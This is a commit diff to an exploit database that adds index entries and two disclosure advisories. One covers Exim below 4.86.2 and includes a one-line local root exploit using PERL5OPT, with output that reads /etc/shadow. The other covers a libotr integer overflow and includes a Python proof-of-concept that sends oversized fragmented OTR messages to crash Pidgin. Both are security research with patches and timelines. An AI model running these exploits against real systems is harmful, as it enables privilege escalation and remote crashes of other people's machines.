DB: 2016-03-11
7 new exploits
This commit is contained in:
parent
da08dab2c6
commit
d1a9542b86
8 changed files with 1133 additions and 0 deletions
|
@ -35763,6 +35763,7 @@ id,file,description,date,author,platform,type,port
|
||||||
39523,platforms/windows/local/39523.rb,"AppLocker Execution Prevention Bypass",2016-03-03,metasploit,windows,local,0
|
39523,platforms/windows/local/39523.rb,"AppLocker Execution Prevention Bypass",2016-03-03,metasploit,windows,local,0
|
||||||
39524,platforms/php/webapps/39524.js,"ATutor LMS install_modules.php CSRF Remote Code Execution Vulnerability",2016-03-07,mr_me,php,webapps,0
|
39524,platforms/php/webapps/39524.js,"ATutor LMS install_modules.php CSRF Remote Code Execution Vulnerability",2016-03-07,mr_me,php,webapps,0
|
||||||
39525,platforms/win64/local/39525.py,"Microsoft Windows - AFD.SYS Privilege Escalation (MS14-040) Win7x64",2016-03-07,"Rick Larabee",win64,local,0
|
39525,platforms/win64/local/39525.py,"Microsoft Windows - AFD.SYS Privilege Escalation (MS14-040) Win7x64",2016-03-07,"Rick Larabee",win64,local,0
|
||||||
|
39526,platforms/php/webapps/39526.sh,"Cerberus Helpdesk (Cerb5) 5 - 6.7 - Password Hash Disclosure",2016-03-07,asdizzle_,php,webapps,80
|
||||||
39529,platforms/multiple/dos/39529.txt,"Wireshark - wtap_optionblock_free Use-After-Free",2016-03-07,"Google Security Research",multiple,dos,0
|
39529,platforms/multiple/dos/39529.txt,"Wireshark - wtap_optionblock_free Use-After-Free",2016-03-07,"Google Security Research",multiple,dos,0
|
||||||
39530,platforms/windows/dos/39530.txt,"Avast - Authenticode Parsing Memory Corruption",2016-03-07,"Google Security Research",windows,dos,0
|
39530,platforms/windows/dos/39530.txt,"Avast - Authenticode Parsing Memory Corruption",2016-03-07,"Google Security Research",windows,dos,0
|
||||||
39531,platforms/windows/local/39531.c,"McAfee VirusScan Enterprise 8.8 - Security Restrictions Bypass",2016-03-07,"Maurizio Agazzini",windows,local,0
|
39531,platforms/windows/local/39531.c,"McAfee VirusScan Enterprise 8.8 - Security Restrictions Bypass",2016-03-07,"Maurizio Agazzini",windows,local,0
|
||||||
|
@ -35779,3 +35780,9 @@ id,file,description,date,author,platform,type,port
|
||||||
39543,platforms/linux/dos/39543.txt,"Linux Kernel - cdc_acm Nullpointer Dereference",2016-03-09,"OpenSource Security",linux,dos,0
|
39543,platforms/linux/dos/39543.txt,"Linux Kernel - cdc_acm Nullpointer Dereference",2016-03-09,"OpenSource Security",linux,dos,0
|
||||||
39544,platforms/linux/dos/39544.txt,"Linux Kernel - aiptek Nullpointer Dereference",2016-03-09,"OpenSource Security",linux,dos,0
|
39544,platforms/linux/dos/39544.txt,"Linux Kernel - aiptek Nullpointer Dereference",2016-03-09,"OpenSource Security",linux,dos,0
|
||||||
39545,platforms/linux/dos/39545.txt,"Linux - netfilter IPT_SO_SET_REPLACE Memory Corruption",2016-03-09,"Google Security Research",linux,dos,0
|
39545,platforms/linux/dos/39545.txt,"Linux - netfilter IPT_SO_SET_REPLACE Memory Corruption",2016-03-09,"Google Security Research",linux,dos,0
|
||||||
|
39546,platforms/windows/dos/39546.txt,"Nitro Pro <= 10.5.7.32 & Nitro Reader <= 5.5.3.1 - Heap Memory Corruption",2016-03-10,"Francis Provencher",windows,dos,0
|
||||||
|
39547,platforms/php/webapps/39547.txt,"WordPress Best Web Soft Captcha Plugin <= 4.1.5 - Multiple Vulnerabilities",2016-03-10,"Colette Chamberland",php,webapps,80
|
||||||
|
39548,platforms/php/webapps/39548.txt,"WordPress WP Advanced Comment Plugin 0.10 - Persistent XSS",2016-03-10,"Mohammad Khaleghi",php,webapps,80
|
||||||
|
39549,platforms/linux/local/39549.txt,"Exim < 4.86.2 - Local Root Privilege Escalation",2016-03-10,"Dawid Golunski",linux,local,0
|
||||||
|
39550,platforms/multiple/dos/39550.py,"libotr <= 4.1.0 - Memory Corruption",2016-03-10,"X41 D-Sec GmbH",multiple,dos,0
|
||||||
|
39551,platforms/multiple/dos/39551.txt,"Putty pscp <= 0.66 - Stack Buffer Overwrite",2016-03-10,tintinweb,multiple,dos,0
|
||||||
|
|
Can't render this file because it is too large.
|
200
platforms/linux/local/39549.txt
Executable file
200
platforms/linux/local/39549.txt
Executable file
|
@ -0,0 +1,200 @@
|
||||||
|
=============================================
|
||||||
|
- Release date: 10.03.2016
|
||||||
|
- Discovered by: Dawid Golunski
|
||||||
|
- Severity: High
|
||||||
|
=============================================
|
||||||
|
|
||||||
|
# Exploit Title: Exim < 4.86.2 Local Root Privilege Escalation
|
||||||
|
# Google Dork: [if applicable]
|
||||||
|
# Date: 10.03.2016
|
||||||
|
# Exploit Author: Dawid Golunski
|
||||||
|
# Vendor Homepage: www.exim.org
|
||||||
|
# Version: [app version] < 4.86.2
|
||||||
|
# Tested on: CentOS
|
||||||
|
# CVE : CVE-2016-1531
|
||||||
|
|
||||||
|
I. VULNERABILITY
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Exim < 4.86.2 Local Root Privilege Escalation
|
||||||
|
|
||||||
|
|
||||||
|
II. BACKGROUND
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
"Exim is a message transfer agent (MTA) developed at the University of
|
||||||
|
Cambridge for use on Unix systems connected to the Internet. It is freely
|
||||||
|
available under the terms of the GNU General Public Licence. In style it is
|
||||||
|
similar to Smail 3, but its facilities are more general. There is a great
|
||||||
|
deal of flexibility in the way mail can be routed, and there are extensive
|
||||||
|
facilities for checking incoming mail. Exim can be installed in place of
|
||||||
|
Sendmail, although the configuration of Exim is quite different."
|
||||||
|
|
||||||
|
http://www.exim.org/
|
||||||
|
|
||||||
|
|
||||||
|
III. INTRODUCTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
When Exim installation has been compiled with Perl support and contains a
|
||||||
|
perl_startup configuration variable it can be exploited by malicious local
|
||||||
|
attackers to gain root privileges.
|
||||||
|
|
||||||
|
IV. DESCRIPTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The vulnerability stems from Exim in versions below 4.86.2 not performing
|
||||||
|
sanitization of the environment before loading a perl script defined
|
||||||
|
with perl_startup setting in exim config.
|
||||||
|
|
||||||
|
perl_startup is usually used to load various helper scripts such as
|
||||||
|
mail filters, gray listing scripts, mail virus scanners etc.
|
||||||
|
|
||||||
|
For the option to be supported, exim must have been compiled with Perl
|
||||||
|
support, which can be verified with:
|
||||||
|
|
||||||
|
[dawid@centos7 ~]$ exim -bV -v | grep i Perl
|
||||||
|
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
|
||||||
|
Content_Scanning DKIM Old_Demime PRDR OCSP
|
||||||
|
|
||||||
|
|
||||||
|
To perform the attack, attacker can take advantage of the exim's sendmail
|
||||||
|
interface which links to an exim binary that has an SUID bit set on it by
|
||||||
|
default as we can see below:
|
||||||
|
|
||||||
|
[dawid@centos7 ~]$ ls -l /usr/sbin/sendmail.exim
|
||||||
|
lrwxrwxrwx. 1 root root 4 Nov 30 00:45 /usr/sbin/sendmail.exim -> exim
|
||||||
|
|
||||||
|
[dawid@centos7 ~]$ ls -l /usr/sbin/exim
|
||||||
|
-rwsr-xr-x. 1 root root 1222416 Dec 7 2015 /usr/sbin/exim
|
||||||
|
|
||||||
|
|
||||||
|
Normally, when exim sendmail interface starts up, it drops its root
|
||||||
|
privileges before giving control to the user (i.e entering mail contents for
|
||||||
|
sending etc), however an attacker can make use of the following command line
|
||||||
|
parameter which is available to all users:
|
||||||
|
|
||||||
|
-ps This option applies when an embedded Perl interpreter is linked with
|
||||||
|
Exim. It overrides the setting of the perl_at_start option, forcing the
|
||||||
|
starting of the interpreter to occur as soon as Exim is started.
|
||||||
|
|
||||||
|
|
||||||
|
As we can see from the documentation at:
|
||||||
|
|
||||||
|
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
|
||||||
|
|
||||||
|
the perl_at_start option does the following:
|
||||||
|
|
||||||
|
"Setting perl_at_start (a boolean option) in the configuration requests a
|
||||||
|
startup when Exim is entered."
|
||||||
|
|
||||||
|
Therefore it is possible to force the execution of the perl_startup script
|
||||||
|
defined in the Exim's main config before exim drops its root privileges.
|
||||||
|
|
||||||
|
|
||||||
|
To exploit this setting and gain the effective root privilege of the SUID binary,
|
||||||
|
attackers can inject PERL5OPT perl environment variable, which does not get
|
||||||
|
cleaned by affected versions of Exim.
|
||||||
|
|
||||||
|
As per perl documentation, the environment variable allows to set perl command-line
|
||||||
|
options (switches). Switches in this variable are treated as if they were on every
|
||||||
|
Perl command line.
|
||||||
|
|
||||||
|
There are several interesting perl switches that that could be set by attackers to
|
||||||
|
trigger code execution.
|
||||||
|
One of these is -d switch which forces perl to enter an interactive debug mode
|
||||||
|
in which it is possible to take control of the perl application.
|
||||||
|
|
||||||
|
An example proof of concept exploitation using the -d switch can be found below.
|
||||||
|
|
||||||
|
|
||||||
|
V. PROOF OF CONCEPT
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
[dawid@centos7 ~]$ head /etc/exim/exim.conf
|
||||||
|
######################################################################
|
||||||
|
# Runtime configuration file for Exim #
|
||||||
|
######################################################################
|
||||||
|
|
||||||
|
# Custom filtering via perl
|
||||||
|
perl_startup = do '/usr/share/exim4/exigrey.pl'
|
||||||
|
|
||||||
|
[dawid@centos7 ~]$ exim -bV -v | grep -i Perl
|
||||||
|
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL Content_Scanning DKIM Old_Demime PRDR OCSP
|
||||||
|
|
||||||
|
[dawid@centos7 ~]$ PERL5OPT="-d/dev/null" /usr/sbin/sendmail.exim -ps victim@localhost
|
||||||
|
|
||||||
|
Loading DB routines from perl5db.pl version 1.37
|
||||||
|
Editor support available.
|
||||||
|
|
||||||
|
Enter h or 'h h' for help, or 'man perldebug' for more help.
|
||||||
|
|
||||||
|
Debugged program terminated. Use q to quit or R to restart,
|
||||||
|
use o inhibit_exit to avoid stopping after program termination,
|
||||||
|
h q, h R or h o to get additional info.
|
||||||
|
|
||||||
|
DB<1> p system("id");
|
||||||
|
uid=0(root) gid=10(wheel) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||||||
|
0
|
||||||
|
DB<2> p system("head /etc/shadow");
|
||||||
|
root:$5$afgjO3wQeqHpAYF7$TmL0[...]AYAAvbA:16682:0:99999:7:::
|
||||||
|
bin:*:16372:0:99999:7:::
|
||||||
|
daemon:*:16372:0:99999:7::
|
||||||
|
[...]
|
||||||
|
|
||||||
|
|
||||||
|
VI. BUSINESS IMPACT
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
This vulnerability could be exploited by attackers who have local access to the
|
||||||
|
system to escalate their privileges to root which would allow them to fully
|
||||||
|
compromise the system.
|
||||||
|
|
||||||
|
VII. SYSTEMS AFFECTED
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Exim versions before the latest patched version of Exim 4.86.2 are be
|
||||||
|
affected by this vulnerability, if Exim was compiled with Perl
|
||||||
|
support and the main configuration file (i.e /etc/exim/exim.conf or
|
||||||
|
/etc/exim4/exim.conf), contains a perl_startup option e.g:
|
||||||
|
|
||||||
|
perl_startup = do '/usr/share/exim4/exigrey.pl'
|
||||||
|
|
||||||
|
It is important to note that the file does not necessarily have to exist
|
||||||
|
to exploit the vulnerability. Although the path must be specified.
|
||||||
|
|
||||||
|
|
||||||
|
VIII. SOLUTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Update to Exim 4.86.2 which contains the official patch that fixes the
|
||||||
|
environment sanitization issues.
|
||||||
|
|
||||||
|
IX. REFERENCES
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
|
||||||
|
|
||||||
|
http://www.exim.org/
|
||||||
|
http://www.exim.org/static/doc/CVE-2016-1531.txt
|
||||||
|
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
|
||||||
|
|
||||||
|
X. ADVISORY CREATED BY
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
This advisory has been created by Dawid Golunski
|
||||||
|
dawid (at) legalhackers (dot) com
|
||||||
|
legalhackers.com
|
||||||
|
|
||||||
|
XI. REVISION HISTORY
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
March 10th, 2016: Advisory released
|
||||||
|
|
||||||
|
XII. LEGAL NOTICES
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The information contained within this advisory is supplied "as-is" with
|
||||||
|
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||||
|
responsibility for any damage caused by the use or misuse of this information.
|
||||||
|
|
554
platforms/multiple/dos/39550.py
Executable file
554
platforms/multiple/dos/39550.py
Executable file
|
@ -0,0 +1,554 @@
|
||||||
|
'''
|
||||||
|
X41 D-Sec GmbH Security Advisory: X41-2016-001
|
||||||
|
|
||||||
|
Memory Corruption Vulnerability in "libotr"
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
Overview
|
||||||
|
--------
|
||||||
|
Severity Rating: high
|
||||||
|
Confirmed Affected Version: 4.1.0 and below
|
||||||
|
Confirmed Patched Version: libotr 4.1.1
|
||||||
|
Vendor: OTR Development Team
|
||||||
|
Vendor URL: https://otr.cypherpunks.ca
|
||||||
|
Vendor Reference: OTR Security Advisory 2016-01
|
||||||
|
Vector: Remote
|
||||||
|
Credit: X41 D-Sec GmbH, Markus Vervier
|
||||||
|
Status: public
|
||||||
|
CVE: CVE-2016-2851
|
||||||
|
CVSS Score: 8.1 (High)
|
||||||
|
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||||
|
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/
|
||||||
|
|
||||||
|
Summary and Impact
|
||||||
|
------------------
|
||||||
|
A remote attacker may crash or execute arbitrary code in libotr by
|
||||||
|
sending large OTR messages.
|
||||||
|
While processing specially crafted messages, attacker controlled data on
|
||||||
|
the heap is written out of bounds.
|
||||||
|
No special user interaction or authorization is necessary in default
|
||||||
|
configurations.
|
||||||
|
|
||||||
|
Product Description
|
||||||
|
-------------------
|
||||||
|
Off-the-Record (OTR) Messaging is a cryptographic protocol used in
|
||||||
|
well-known instant messaging clients such as Pidgin, ChatSecure, Adium
|
||||||
|
and others. It is designed to work on top of existing protocols and used
|
||||||
|
worldwide to provide secure communication in insecure environments.
|
||||||
|
OTR is regarded as highly secure and according to documents revealed by
|
||||||
|
Edward Snowden one of the protocols that the NSA is not able to decrypt
|
||||||
|
via cryptanalysis.
|
||||||
|
The most commonly used implementation of OTR is "libotr" which is a pure
|
||||||
|
C code implementation of the OTR protocol.
|
||||||
|
|
||||||
|
Analysis
|
||||||
|
--------
|
||||||
|
During a manual code review X41 D-Sec GmbH discovered a remotely
|
||||||
|
exploitable vulnerability in libotr.
|
||||||
|
|
||||||
|
By sending large messages, an integer overflow can be triggered which
|
||||||
|
subsequently leads to a heap overflow on 64 bit architectures.
|
||||||
|
|
||||||
|
When a message of type OTRL_MSGSTATE_DATA is received during an
|
||||||
|
established OTR conversation, this message is passed to function
|
||||||
|
otrl_proto_accept_data in src/message.c line 1347:
|
||||||
|
|
||||||
|
case OTRL_MSGSTATE_ENCRYPTED:
|
||||||
|
extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES);
|
||||||
|
err = otrl_proto_accept_data(&plaintext, &tlvs, context,
|
||||||
|
message, &flags, extrakey);
|
||||||
|
|
||||||
|
After base64 decoding the message and reading various values from it,
|
||||||
|
the length of a payload is read into a variable of type "unsigned int"
|
||||||
|
in file proto.c line 784:
|
||||||
|
|
||||||
|
read_int(datalen);
|
||||||
|
|
||||||
|
It is checked that the message buffer will contain at least a "datalen"
|
||||||
|
number of bytes using read_int in proto.c line 785:
|
||||||
|
|
||||||
|
require_len(datalen);
|
||||||
|
|
||||||
|
The macros "read_int" and "required_len" are defined in src/serial.h:
|
||||||
|
|
||||||
|
#define require_len(l) do { \
|
||||||
|
if (lenp < (l)) goto invval; \
|
||||||
|
} while(0)
|
||||||
|
|
||||||
|
#define read_int(x) do { \
|
||||||
|
require_len(4); \
|
||||||
|
(x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] <<
|
||||||
|
8) | bufp[3]; \
|
||||||
|
bufp += 4; lenp -= 4; \
|
||||||
|
} while(0)
|
||||||
|
|
||||||
|
4 bytes are read from the message buffer and interpreted as unsigned int
|
||||||
|
value.
|
||||||
|
|
||||||
|
Subsequently a buffer of size datalen+1 is allocated using malloc
|
||||||
|
in proto.c line 786:
|
||||||
|
|
||||||
|
data = malloc(datalen+1);
|
||||||
|
if (!data) {
|
||||||
|
err = gcry_error(GPG_ERR_ENOMEM);
|
||||||
|
goto err;
|
||||||
|
}
|
||||||
|
|
||||||
|
Now data from the message is copied into this buffer using memmove in
|
||||||
|
line 791:
|
||||||
|
|
||||||
|
memmove(data, bufp, datalen);
|
||||||
|
|
||||||
|
The vulnerability is triggered if a value of 0xFFFFFFFF (MAX_UINT) is
|
||||||
|
read from the message buffer. As datalen is of size 32-bit (unsigned
|
||||||
|
int) the operation "datalen+1" will wrap around before being passed to
|
||||||
|
malloc.
|
||||||
|
This will effectively result in a zero allocation ( malloc(0) ) which is
|
||||||
|
valid in common implementations of malloc on the x86_64 architecture.
|
||||||
|
As no addition is done in the value passed to the call to memmove, 4
|
||||||
|
gigabytes of data are copied out of bounds to the heap location pointed
|
||||||
|
to by data.
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
----------------
|
||||||
|
In order to successfully trigger the vulnerability, an attacker must be
|
||||||
|
able to send a data message of more than 5.5 gigabytes to a victim in
|
||||||
|
order to pass the check "require_len(datalen)".
|
||||||
|
Due to the support of fragmented OTR messages assembled by libotr this
|
||||||
|
is possible in practice. By sending 275 messages of size 20MB each, X41
|
||||||
|
was able to make libotr process such a data message successfully on a
|
||||||
|
system with 8GB of ram and 15GB of swap space.
|
||||||
|
As data types for lenp and other lengths of the message are 64 bit large
|
||||||
|
size_t types on x86_64 architectures huge messages of multiple gigabytes
|
||||||
|
are possible.
|
||||||
|
Sending such a message to a pidgin client took only a few minutes on a
|
||||||
|
fast network connection without visible signs of any attack to a user.
|
||||||
|
|
||||||
|
A proof of concept triggering a heap overwrite and crash in the
|
||||||
|
pidgin-otr plugin for the popular pidgin messenger on x86_64 Linux
|
||||||
|
architectures is available[1].
|
||||||
|
|
||||||
|
The crash occurs due to the overwrite hitting unmapped memory. Using
|
||||||
|
techniques such as heap grooming, X41 was able to inflate the heap to
|
||||||
|
more than 4GB and overwrite function pointers and arguments on the heap
|
||||||
|
in order to take over control flow. A working exploit will not be
|
||||||
|
published at this time.
|
||||||
|
|
||||||
|
Interaction by users beyond having enabled OTR is not necessary as OTR
|
||||||
|
sessions are automatically established with anyone by default in Pidgin
|
||||||
|
and other common software using libotr. This also applies to
|
||||||
|
unauthorized contacts in most default configurations.
|
||||||
|
|
||||||
|
Workarounds
|
||||||
|
-----------
|
||||||
|
As a temporary workaround on Linux and BSD systems, the amount of memory
|
||||||
|
available to the process running libotr may be limited to less than 4GB
|
||||||
|
via ulimit.
|
||||||
|
|
||||||
|
About X41 D-Sec GmbH
|
||||||
|
--------------------
|
||||||
|
X41 D-Sec is a provider of application security services. We focus
|
||||||
|
on application code reviews, design review and security testing. X41
|
||||||
|
D-Sec GmbH was founded in 2015 by Markus Vervier. We support customers
|
||||||
|
in various industries such as finance, software development and public
|
||||||
|
institutions.
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
--------
|
||||||
|
2016-02-17 Discovery during a manual code review of "libotr" version 4.1.0
|
||||||
|
2016-02-17 Initial PoC
|
||||||
|
2016-02-18 Vendor contacted
|
||||||
|
2016-02-18 Vulnerability confirmed by vendor
|
||||||
|
2016-03-03 Vendor patch available
|
||||||
|
2016-03-04 CVE requested
|
||||||
|
2016-03-06 CVE-2016-2851 assigned
|
||||||
|
2016-03-09 Embargo lifted and disclosure
|
||||||
|
|
||||||
|
References
|
||||||
|
----------
|
||||||
|
[1]
|
||||||
|
https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/otr-heap-overwrite-poc.py
|
||||||
|
'''
|
||||||
|
|
||||||
|
#!/usr/bin/python -u
|
||||||
|
#
|
||||||
|
### PoC libotr heap overwrite on Pidgin
|
||||||
|
### 2016-02-17 Markus Vervier
|
||||||
|
### X41 D-Sec GmbH
|
||||||
|
|
||||||
|
### initial code taken from pyxmpp examples (echobot.py)
|
||||||
|
|
||||||
|
### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger)
|
||||||
|
|
||||||
|
### On a loopback interface the exploit took several minutes,
|
||||||
|
### using XMPP stream compression this could be reduced massively
|
||||||
|
|
||||||
|
### pyxmpp does not support it
|
||||||
|
### We used XMPP connections without TLS to not further complicate the setup
|
||||||
|
|
||||||
|
### USAGE
|
||||||
|
###
|
||||||
|
### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest"
|
||||||
|
|
||||||
|
### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin)
|
||||||
|
### 2. Disconnect the attacker account
|
||||||
|
### 3. Fire up this script and let it connect with the attacker account credentials
|
||||||
|
### 4. Send a message from victim to attacker
|
||||||
|
### 5. Wait until message sending is complete, pidgin should crash
|
||||||
|
|
||||||
|
### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC
|
||||||
|
### !!! If we would implement full OTR in this script we could send the bad message directly
|
||||||
|
### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
import locale
|
||||||
|
import codecs
|
||||||
|
import os, signal
|
||||||
|
import time
|
||||||
|
import base64
|
||||||
|
|
||||||
|
def ignore_signal_pipe(signum, frame):
|
||||||
|
print 'signal pipe caught -- IGNORING'
|
||||||
|
|
||||||
|
signal.signal(signal.SIGPIPE, ignore_signal_pipe)
|
||||||
|
|
||||||
|
from struct import *
|
||||||
|
from pyxmpp.all import JID,Iq,Presence,Message,StreamError
|
||||||
|
from pyxmpp.jabber.client import JabberClient
|
||||||
|
from pyxmpp.interface import implements
|
||||||
|
from pyxmpp.interfaces import *
|
||||||
|
from pyxmpp.streamtls import TLSSettings
|
||||||
|
from enum import Enum
|
||||||
|
|
||||||
|
class EchoHandler(object):
|
||||||
|
"""Provides the actual 'echo' functionality.
|
||||||
|
|
||||||
|
Handlers for presence and message stanzas are implemented here.
|
||||||
|
"""
|
||||||
|
|
||||||
|
implements(IMessageHandlersProvider, IPresenceHandlersProvider)
|
||||||
|
|
||||||
|
def __init__(self, client):
|
||||||
|
"""Just remember who created this."""
|
||||||
|
self.client = client
|
||||||
|
|
||||||
|
def get_message_handlers(self):
|
||||||
|
"""Return list of (message_type, message_handler) tuples.
|
||||||
|
|
||||||
|
The handlers returned will be called when matching message is received
|
||||||
|
in a client session."""
|
||||||
|
return [
|
||||||
|
("normal", self.message),
|
||||||
|
]
|
||||||
|
|
||||||
|
def get_presence_handlers(self):
|
||||||
|
"""Return list of (presence_type, presence_handler) tuples.
|
||||||
|
|
||||||
|
The handlers returned will be called when matching presence stanza is
|
||||||
|
received in a client session."""
|
||||||
|
return [
|
||||||
|
(None, self.presence),
|
||||||
|
("unavailable", self.presence),
|
||||||
|
("subscribe", self.presence_control),
|
||||||
|
("subscribed", self.presence_control),
|
||||||
|
("unsubscribe", self.presence_control),
|
||||||
|
("unsubscribed", self.presence_control),
|
||||||
|
]
|
||||||
|
|
||||||
|
def message(self,stanza):
|
||||||
|
"""Message handler for the component.
|
||||||
|
|
||||||
|
Echoes the message back if its type is not 'error' or
|
||||||
|
'headline', also sets own presence status to the message body. Please
|
||||||
|
note that all message types but 'error' will be passed to the handler
|
||||||
|
for 'normal' message unless some dedicated handler process them.
|
||||||
|
|
||||||
|
:returns: `True` to indicate, that the stanza should not be processed
|
||||||
|
any further."""
|
||||||
|
subject=stanza.get_subject()
|
||||||
|
body=stanza.get_body()
|
||||||
|
t=stanza.get_type()
|
||||||
|
m = 0
|
||||||
|
print u'Message from %s received.' % (unicode(stanza.get_from(),)),
|
||||||
|
if subject:
|
||||||
|
print u'Subject: "%s".' % (subject,),
|
||||||
|
if body:
|
||||||
|
print u'Body: "%s".' % (body,),
|
||||||
|
if t:
|
||||||
|
print u'Type: "%s".' % (t,)
|
||||||
|
else:
|
||||||
|
print u'Type: "normal".'
|
||||||
|
if stanza.get_type()=="headline":
|
||||||
|
# 'headline' messages should never be replied to
|
||||||
|
return True
|
||||||
|
# record instance tag
|
||||||
|
if body[:9] == u'?OTR:AAMD':
|
||||||
|
(self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):])
|
||||||
|
print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") )
|
||||||
|
self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag)
|
||||||
|
|
||||||
|
return m
|
||||||
|
|
||||||
|
def b64maxlen(self, chars):
|
||||||
|
return 1 + (4 * chars / 3)
|
||||||
|
|
||||||
|
def parse_aamc(self, msg):
|
||||||
|
maxlen = self.b64maxlen(8) # 4 byte integer
|
||||||
|
print "maxlen %u" % (maxlen)
|
||||||
|
tmp = msg[0:maxlen]
|
||||||
|
padding = ""
|
||||||
|
if maxlen % 4 > 1:
|
||||||
|
padding = "="*(4-(maxlen % 4))
|
||||||
|
tmp += padding
|
||||||
|
print "decoding: "+tmp
|
||||||
|
packed = base64.b64decode(tmp)
|
||||||
|
# return unpack("I", packed[0:4])
|
||||||
|
return (packed[0:4], packed[4:8]) # their tag, our tag
|
||||||
|
|
||||||
|
def initial_body(self, instance_tag, our_tag):
|
||||||
|
ret = "?OTR:AAMD";
|
||||||
|
raw = b''
|
||||||
|
print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex"))
|
||||||
|
#dirty hack
|
||||||
|
raw += our_tag # sender_nstance_id
|
||||||
|
raw += instance_tag # receiver_id
|
||||||
|
raw += "D" # dummy flags
|
||||||
|
raw += pack("I", 0x1) # sender key id
|
||||||
|
raw += pack("I", 0x2) # recipient key id
|
||||||
|
raw += pack("!I", 10) # len next_y
|
||||||
|
raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;)
|
||||||
|
raw += "12345678" # reveal sig dummy
|
||||||
|
# yeah overflow!
|
||||||
|
raw += pack("I", 0xFFFFFFFF); # datalen
|
||||||
|
|
||||||
|
ret += base64.b64encode(raw+"A"*(57-len(raw)))
|
||||||
|
return ret
|
||||||
|
|
||||||
|
def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag):
|
||||||
|
print "G-FUNK!"
|
||||||
|
|
||||||
|
# this should result in about 0xFFFFFFFF times "A" base64 encoded
|
||||||
|
len_msg = 5726623060
|
||||||
|
# fix frag size for base64
|
||||||
|
frag_size = (frag_size / 4) * 4
|
||||||
|
|
||||||
|
frag_msg = "QUFB"*(frag_size / 4)
|
||||||
|
|
||||||
|
n = len_msg / frag_size
|
||||||
|
# does not evenly divide?
|
||||||
|
if len_msg % frag_size > 0:
|
||||||
|
n += 1
|
||||||
|
k = 1
|
||||||
|
n += 1 # initialbody adds another frame
|
||||||
|
initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag))
|
||||||
|
print "first fragment: "+initialbody
|
||||||
|
m = Message(
|
||||||
|
to_jid=stanza.get_from(),
|
||||||
|
from_jid=stanza.get_to(),
|
||||||
|
stanza_type=stanza.get_type(),
|
||||||
|
subject="foo",
|
||||||
|
body=initialbody)
|
||||||
|
self.client.stream.send(m)
|
||||||
|
k += 1
|
||||||
|
print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n)
|
||||||
|
cur_pos = 0
|
||||||
|
while(cur_pos < len_msg):
|
||||||
|
body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg)
|
||||||
|
m = Message(
|
||||||
|
to_jid=stanza.get_from(),
|
||||||
|
from_jid=stanza.get_to(),
|
||||||
|
stanza_type=stanza.get_type(),
|
||||||
|
subject="foo",
|
||||||
|
body=body)
|
||||||
|
print "cur_pos %u of %u" % (cur_pos, len_msg)
|
||||||
|
self.client.stream.send(m)
|
||||||
|
k += 1
|
||||||
|
cur_pos = frag_size * (k-2)
|
||||||
|
time.sleep(0.9)
|
||||||
|
print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg)
|
||||||
|
|
||||||
|
|
||||||
|
def presence(self,stanza):
|
||||||
|
"""Handle 'available' (without 'type') and 'unavailable' <presence/>."""
|
||||||
|
msg=u"%s has become " % (stanza.get_from())
|
||||||
|
t=stanza.get_type()
|
||||||
|
if t=="unavailable":
|
||||||
|
msg+=u"unavailable"
|
||||||
|
else:
|
||||||
|
msg+=u"available"
|
||||||
|
|
||||||
|
show=stanza.get_show()
|
||||||
|
if show:
|
||||||
|
msg+=u"(%s)" % (show,)
|
||||||
|
|
||||||
|
status=stanza.get_status()
|
||||||
|
if status:
|
||||||
|
msg+=u": "+status
|
||||||
|
print msg
|
||||||
|
|
||||||
|
def presence_control(self,stanza):
|
||||||
|
"""Handle subscription control <presence/> stanzas -- acknowledge
|
||||||
|
them."""
|
||||||
|
msg=unicode(stanza.get_from())
|
||||||
|
t=stanza.get_type()
|
||||||
|
if t=="subscribe":
|
||||||
|
msg+=u" has requested presence subscription."
|
||||||
|
elif t=="subscribed":
|
||||||
|
msg+=u" has accepted our presence subscription request."
|
||||||
|
elif t=="unsubscribe":
|
||||||
|
